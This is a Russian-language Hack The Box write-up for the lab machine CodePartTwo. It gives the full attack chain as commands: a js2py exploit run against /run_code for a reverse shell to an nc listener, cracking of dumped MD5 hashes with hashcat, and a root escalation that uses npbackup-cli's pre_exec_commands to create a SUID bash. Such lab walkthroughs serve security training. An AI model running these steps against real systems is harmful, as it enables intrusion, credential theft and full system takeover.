HTB. Проходим CodePartTwo

0
(0)

Машина уровня «Easy». У нас в распоряжении только IP адрес машины — 10.10.11.82.

Сканим порты и смотрим, что нам доступно.

Bash
nmap -sC -sV 10.10.11.82

Получаем вот такой вывод.

У нас открыт 8000 порт. Открываем его в браузере.

codeparttwo

Нажимаем «Download APP». У нас скачивается «app.zip». Разархивируем и проверим что там.

Внутри нас ожидает вот такая структура.

Bash
 $ tree
.
├── app.py
├── instance
│   └── users.db
├── requirements.txt
├── static
│   ├── css
│   │   └── styles.css
│   └── js
│       └── script.js
└── templates
    ├── base.html
    ├── dashboard.html
    ├── index.html
    ├── login.html
    ├── register.html
    └── reviews.html

В requirements.txt можно найти интересную библиотеку js2py==0.74 у которой есть публичный exploit. Это довольно быстро гуглится. В итоге находим exploit тут.

Регистрируемся на сайте. В ЛК нам дается возможность запускать js код, запрос при этом идет на endpoint /run_code.

Забираем найденный ранее exploit и пробуем выполнить:

Bash
python3 /tmp/js2py_exp.py --target http://10.10.11.82:8000/run_code --lhost <you_ip>
nc -lnvp 4444

Визуально выглядит так (даже nc заранее можно не запускать).

Соответственно в терминале с reverse shell.

Немного стабилизируем шелл

Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

Проверяем /etc/passwd и директорию /home. Скорее всего нам нужен пользователь marco.

Порывшись в директории приложения, можно найти базу данных sqlite в instance/users.db. Открываем ее:

Bash
sqlite3 instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
code_snippet  user        
sqlite> select * from user;
select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|hola|4d186321c1a7f0f354b297e8914ab240
4|cola|a1e05ee2564dbf16b04f09a23d482d06
5|AAA|e1faffb3e614e6c2fba74296962386b7
sqlite> 

У нас есть хеши паролей. Попробуем взломать перебором пароль пользователя marco.

Кладем hash в hash.txt и запускаем hashcat:

Bash
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --show

В выводе будет пароль. Пробуем его для ssh и забираем в /home/marco первый флаг.

Далее нам нужно выполнить LPE. Смотрим что есть в sudo:

Bash
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
marco@codeparttwo:~$ 

Мы можем выполнять npbackup-cli.

Это тулза для бэкапа, которая имеет конфигурационный файл. Сгенерируем payload и конфиг для нее.

Bash
cat >/tmp/rootme.sh <<'EOF'
#!/bin/sh
cp /bin/bash /usr/local/bin/broot
chmod 4755 /usr/local/bin/broot
EOF
chmod +x /tmp/rootme.sh

mkdir -p /var/tmp/nprepo
cat >"$HOME/npb.conf" <<'EOF'
conf_version: 3.0.1
repos:
  default:
    repo_uri: file:///var/tmp/nprepo
    repo_group: default_group
    backup_opts:
      paths:
        - /etc/hosts
      source_type: folder_list
    repo_opts:
      repo_password: test
      retention_policy: {}
groups:
  default_group:
    backup_opts:
      pre_exec_commands:
        - /tmp/rootme.sh
      pre_exec_per_command_timeout: 60
      pre_exec_failure_is_fatal: false
      post_exec_execute_even_on_backup_error: true
      minimum_backup_size_error: 0
      use_fs_snapshot: false
EOF

sudo /usr/local/bin/npbackup-cli -c "$HOME/npb.conf" -b --force -v
/usr/local/bin/broot -p -i
cat /root/root.txt

Как работает данный payload. Он эксплуатирует pre_exec_commands функцию в утилите npbackup.

Сначала мы создаем скрипт rootme.sh, в котором копируем /bin/bash оболочку в /usr/local/bin/broot и устанавливаем SUID бит, позволяющей любому пользователю запускать эту копию bash с правами root. Тем самым при запуске npbackup-cli выполняется наш скрипт от имени root и создает SUID копию bash с правами root. Далее мы просто запускаем «рутированный» шелл и забираем флаг.

Насколько статья полезна?

Нажмите на звезду, чтобы оценить!

Средняя оценка 0 / 5. Количество оценок: 0

Оценок пока нет. Поставьте оценку первым.

Оставить комментарий